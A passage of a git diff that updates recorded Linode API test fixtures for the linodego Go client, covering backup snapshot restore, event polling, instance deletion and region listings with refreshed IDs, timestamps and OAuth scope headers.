https://api.linode.com/v4beta/linode/instances/59542678/backups/292760356 method: GET response: - body: '{"id": 281008628, "region": "ap-west", "type": "snapshot", "status": "successful", + body: '{"id": 292760356, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": - ["go-test-conf-93qb0dxp18u6"], "disks": [{"label": "linodego-disk-test", "size": + ["go-test-conf-5o5g3we7j27u"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: @@ -2285,7 +2073,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:44 GMT + - Fri, 31 May 2024 17:42:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2301,7 +2089,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2319,19 +2110,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561 + url: https://api.linode.com/v4beta/linode/instances/59542678 method: GET response: - body: '{"id": 54933561, "label": "go-test-ins-wo-disk-r2941v26lasz", "group": + body: '{"id": 59542678, "label": "go-test-ins-wo-disk-4550ezy9h2qi", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.105.62.117"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["170.187.250.228"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": "2018-01-02T03:04:05"}, "hypervisor": "kvm", "watchdog_enabled": - true, "tags": [], "host_uuid": "2cd9a951a620396bd65ebd2d676659eb27ab7ac7", "has_user_data": - false}' + true, "tags": [], "host_uuid": "0b2d5aae2f89f7a14796533db6c3fd605a035d50", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -2348,13 +2139,13 @@ interactions: Connection: - keep-alive Content-Length: - - "764" + - "790" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:44 GMT + - Fri, 31 May 2024 17:42:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2370,7 +2161,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2388,13 +2182,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups + url: https://api.linode.com/v4beta/linode/instances/59542678/backups method: GET response: - body: '{"automatic": [], "snapshot": {"current": {"id": 281008628, "region": "ap-west", + body: '{"automatic": [], "snapshot": {"current": {"id": 292760356, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": - "snapshot-linodego-testing", "configs": ["go-test-conf-93qb0dxp18u6"], "disks": + "snapshot-linodego-testing", "configs": ["go-test-conf-5o5g3we7j27u"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}, "in_progress": null}}' headers: @@ -2419,7 +2213,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:44 GMT + - Fri, 31 May 2024 17:42:57 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2435,7 +2229,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2453,13 +2250,13 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups/281008628 + url: https://api.linode.com/v4beta/linode/instances/59542678/backups/292760356 method: GET response: - body: '{"id": 281008628, "region": "ap-west", "type": "snapshot", "status": "successful", + body: '{"id": 292760356, "region": "ap-west", "type": "snapshot", "status": "successful", "available": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "finished": "2018-01-02T03:04:05", "label": "snapshot-linodego-testing", "configs": - ["go-test-conf-93qb0dxp18u6"], "disks": [{"label": "linodego-disk-test", "size": + ["go-test-conf-5o5g3we7j27u"], "disks": [{"label": "linodego-disk-test", "size": 10, "filesystem": "ext4"}]}' headers: Access-Control-Allow-Credentials: @@ -2483,7 +2280,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:15:59 GMT + - Fri, 31 May 2024 17:43:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2499,7 +2296,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2508,7 +2308,7 @@ interactions: code: 200 duration: "" - request: - body: '{"linode_id":54933561,"overwrite":true}' + body: '{"linode_id":59542678,"overwrite":true}' form: {} headers: Accept: @@ -2517,7 +2317,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups/281008628/restore + url: https://api.linode.com/v4beta/linode/instances/59542678/backups/292760356/restore method: POST response: body: '{}' @@ -2543,7 +2343,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:00 GMT + - Fri, 31 May 2024 17:43:12 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2558,7 +2358,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2576,7 +2379,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561/backups/cancel + url: https://api.linode.com/v4beta/linode/instances/59542678/backups/cancel method: POST response: body: '{}' @@ -2602,7 +2405,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:00 GMT + - Fri, 31 May 2024 17:43:13 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2617,7 +2420,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2636,15 +2442,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-02-14T18:15:59"},"entity.id":54933561,"entity.type":"linode"}' + - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-05-31T17:43:12"},"entity.id":59542678,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649329880, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728452524, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, - "duration": null, "action": "backups_restore", "username": "zliang27", "entity": - {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", - "url": "/v4/linode/instances/54933561"}, "status": "scheduled", "secondary_entity": + "duration": null, "action": "backups_restore", "username": "youjungk01", "entity": + {"label": "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", + "url": "/v4/linode/instances/59542678"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2662,13 +2468,13 @@ interactions: Connection: - keep-alive Content-Length: - - "457" + - "459" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:15 GMT + - Fri, 31 May 2024 17:43:28 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2684,7 +2490,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2703,82 +2512,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-02-14T18:15:59"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649329880}}' + - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-05-31T17:43:12"},"entity.id":59542678,"entity.type":"linode","id":{"+gte":728452524}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649329880, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, - "duration": 30.603935, "action": "backups_restore", "username": "zliang27", - "entity": {"label": "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": - "linode", "url": "/v4/linode/instances/54933561"}, "status": "started", "secondary_entity": - null, "message": ""}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive - Content-Length: - - "461" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Expires: - - Wed, 14 Feb 2024 18:16:30 GMT - Pragma: - - no-cache - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - events:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "400" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - X-Filter: - - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-02-14T18:15:59"},"entity.id":54933561,"entity.type":"linode","id":{"+gte":649329880}}' - url: https://api.linode.com/v4beta/account/events?page=1 - method: GET - response: - body: '{"data": [{"id": 649329880, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 728452524, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 37.0, "action": "backups_restore", "username": "zliang27", "entity": {"label": - "go-test-ins-wo-disk-r2941v26lasz", "id": 54933561, "type": "linode", "url": - "/v4/linode/instances/54933561"}, "status": "finished", "secondary_entity": + 25.0, "action": "backups_restore", "username": "youjungk01", "entity": {"label": + "go-test-ins-wo-disk-4550ezy9h2qi", "id": 59542678, "type": "linode", "url": + "/v4/linode/instances/59542678"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -2796,13 +2538,13 @@ interactions: Connection: - keep-alive Content-Length: - - "455" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:45 GMT + - Fri, 31 May 2024 17:43:43 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2818,7 +2560,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -2836,7 +2581,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933561 + url: https://api.linode.com/v4beta/linode/instances/59542678 method: DELETE response: body: '{}' @@ -2862,7 +2607,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:16:46 GMT + - Fri, 31 May 2024 17:43:43 GMT Pragma: - no-cache Strict-Transport-Security: @@ -2877,7 +2622,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstanceFirewalls_List.yaml b/test/integration/fixtures/TestInstanceFirewalls_List.yaml index 0733d3045..4f1c56cf7 100644 --- a/test/integration/fixtures/TestInstanceFirewalls_List.yaml +++ b/test/integration/fixtures/TestInstanceFirewalls_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, 